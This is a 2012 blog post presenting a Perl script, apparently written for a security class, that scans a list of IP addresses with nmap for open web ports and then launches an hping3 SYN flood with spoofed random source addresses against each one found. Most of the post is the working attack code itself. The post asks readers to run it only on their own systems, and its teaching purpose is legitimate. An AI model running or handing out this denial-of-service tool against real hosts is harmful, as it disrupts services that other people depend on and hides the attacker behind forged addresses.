Friday, May 11, 2012

DoSDialer


The DoSDialer script presented below was written to demonstrate to a computer security class how scripting languages like Perl could be used to automate certain tasks, as well as provide a way to integrate the functionality of multiple security tools.  The script requires that both nmap and hping3 are installed on the host system and needs to be run using sudo (required by hping3).  DoSDialer takes a list of IP addresses and runs an nmap scan of each IP address to determine if port 80 or port 443 is open at that particular IP address.  If the IP address has one of the two ports open, it then proceeds to use hping3 to launch a SYN flood against the IP address.  The duration of the SYN flood is controlled by invoking the Linux ulimit command in the hping3 system call.  Please only consider running this script against your own systems.  

#!usr/bin/perl

# Copyright 2011- Christopher M. Frenz
# This script is free software - it may be used, copied, redistributed, and/or modified
# under the terms laid forth in the Perl Artistic License

@IPs=("192.168.1.2", "192.168.1.3");
$DoSTime=10; #how many seconds you want to DoS

foreach $IP(@IPs){
  #back tick system calls return STDOUT to perl
  $nmap=`nmap -sS $IP`;
  if($nmap=~/(80|443)\/tcp/){
    $port=$1;
    print "$nmap\n\n";
    #system does not return STDOUT
    system("ulimit -t $DoSTime; hping3 --flood --rand-source -S -p $port $IP");
    print "$IP has been DoSed on port $port\n\n";
  }
  else{print "$IP does not have a Web server to DoS\n\n";}

No comments: